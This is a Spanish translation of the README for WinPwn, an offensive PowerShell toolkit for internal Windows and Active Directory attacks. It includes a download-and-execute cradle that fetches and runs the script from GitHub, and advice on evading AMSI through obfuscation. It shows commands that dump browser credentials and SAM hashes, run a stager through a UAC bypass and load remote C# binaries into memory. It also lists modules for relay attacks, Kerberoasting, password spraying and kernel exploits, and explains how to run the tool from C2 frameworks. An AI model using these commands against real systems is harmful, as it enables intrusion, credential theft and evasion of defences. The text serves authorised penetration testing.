Automatización para Prueba de Penetración interna en Windows / Seguridad de AD
En muchas pruebas de penetración internas anteriores, a menudo tuve problemas con los scripts existentes de Reconocimiento/Explotación en Powershell debido a la falta de soporte de proxy. También solía ejecutar los mismos scripts uno tras otro para obtener información sobre el sistema actual y/o el dominio. Para automatizar tantos procesos de pruebas de penetración internas (reconocimiento y explotación) y por la razón del proxy, escribí mi propio script con reconocimiento e integración automática de proxy. El script se basa en gran medida en otros proyectos ofensivos de seguridad de Powershell conocidos.
¡Cualquier sugerencia, comentario, solicitud de extracción y comentario es bienvenida!
Simplemente importa los módulos con:
Import-Module .\WinPwn.ps1 o
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
Para evadir AMSI, toma una de las técnicas de evasión existentes, encuentra el de AMSI y cámbialo manualmente en la función de evasión o codifica la cadena desencadenante. Alternativamente, ofusca todo el script.
Si te encuentras atascado en un sistema Windows sin acceso a internet, no hay problema, simplemente usa Offline_Winpwn.ps1, los scripts y ejecutables más importantes están incluidos.
Funciones disponibles después de la importación:
WinPwn -> Menú para elegir ataques:
Inveigh -> Ejecuta Inveigh en una nueva ventana de Consola, ataques SMB-Relay con gestión de sesiones (Invoke-TheHash) integradosSessionGopher -> Ejecuta Sessiongopher pidiéndote parámetrosKittielocal ->Localreconmodules ->Domainreconmodules ->Privescmoduleskernelexploits ->UACBypass ->SYSTEMShell ->Shareenumeration -> Invoke-Filefinder e Invoke-Sharefinder (Powerview / Powersploit)Domainshares -> Búsqueda de Snaffler o Passhunt en todos los sistemas del dominioGroupsearch -> Get-DomainGPOUserLocalGroupMapping - encontrar sistemas donde tengas acceso de Administrador o acceso RDP a través de la asignación de directivas de grupo (Powerview / Powersploit)Kerberoasting -> Ejecuta Invoke-Kerberoast en una nueva ventana y almacena los hashes para su posterior descifradoPowerSQL -> Descubrimiento de servidores SQL, verificar acceso con el usuario actual, auditar credenciales predeterminadas + Ataques de inyección de ruta UNCSharphound -> Informe de Bloodhound 3.0Adidnsmenu -> Crear o eliminar nodos DNS integrados en Active DirectoryMS17-10 -> Escanear servidores Windows activos en el dominio o todos los sistemas en busca de la vulnerabilidad MS17-10 (Eternalblue)Sharpcradle -> Cargar archivos C# desde un servidor web remoto a la RAMDomainPassSpray -> Ataques de rociado de contraseñas de dominio, una contraseña para todos los usuarios del dominioBluekeep -> Escáner Bluekeep para sistemas del dominioSin parámetros, la mayoría de las funciones solo se pueden usar desde un shell interactivo. Así que decidí agregar los parámetros -noninteractive y -consoleoutput para que el script sea utilizable desde
un marco de C2 asíncrono como Empire, Covenant, Cobalt Strike u otros.
Además, se agregó el parámetro -repo para usar WinPwn con todas sus funciones desde un repositorio local. Se pueden usar de la siguiente manera:
Uso:
-noninteractive -> Sin preguntas para las funciones, para que se ejecuten con parámetros predefinidos o definidos por el usuario
-consoleoutput -> No se crean las carpetas de loot/informes. Cada función devuelve la salida a la consola para que puedas ver todo en los registros del Agente de tu marco de C2 Ejemplos:
WinPwn -noninteractive -consoleoutput -DomainRecon -> Esto ejecutará cada script de reconocimiento de dominio
y probablemente te dará mucha salida
WinPwn -noninteractive -consoleoutput -Localrecon -> Esto enumerará la mayor cantidad de información posible para el sistema local
Generalrecon -noninteractive -> Ejecutar funciones básicas de reconocimiento local y almacenar la salida
en las carpetas correspondientes
UACBypass -noninteractive -command "C:\temp\stager.exe" -technique ccmstp -> Ejecutar un stager en un proceso de alta integridad
desde una sesión con pocos privilegios
Kittielocal -noninteractive -consoleoutput -browsercredentials -> Volcar credenciales del navegador a través de Sharpweb
devolviendo la salida a la consola
Kittielocal -noninteractive -browsercredentials -> Volcar hashes NTLM del archivo SAM y almacenar
la salida en un archivo
WinPwn -PowerSharpPack -consoleoutput -noninteractive -> Ejecutar Seatbelt, PowerUp, Watson y
más binarios C# en memoria
Dotnetsearch -consoleoutput -noninteractive -> Buscar en C:\Program Files\ y C:\Program Files (x86)\ ensamblados .NET
WinPwn -repo http://192.168.1.10:8000/WinPwn_Repo -> Usar un servidor web local como repositorio sin conexión para usar WinPwn sin acceso a internet
Get_WinPwn_Repo.sh:
Uso: ./Get_WinPwn_Repo.sh {Opción}
Ejemplo: ./Get_WinPwn_Repo.sh --install
Opciones: --install Descargar el repositorio y colocarlo en ./WinPwn_Repo/ --remove Eliminar el repositorio ./WinPwn_Repo/ --reinstall Eliminar el repositorio y descargar uno nuevo en ./WinPwn_Repo/ --start-server Iniciar un servidor HTTP de Python en el puerto 8000 --help Mostrar esta ayuda
El uso de WinPwn para atacar objetivos sin consentimiento mutuo previo es ilegal. Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables. Los desarrolladores no asumen ninguna responsabilidad y no son responsables por cualquier mal uso o daño causado por este programa. Úselo solo con fines educativos.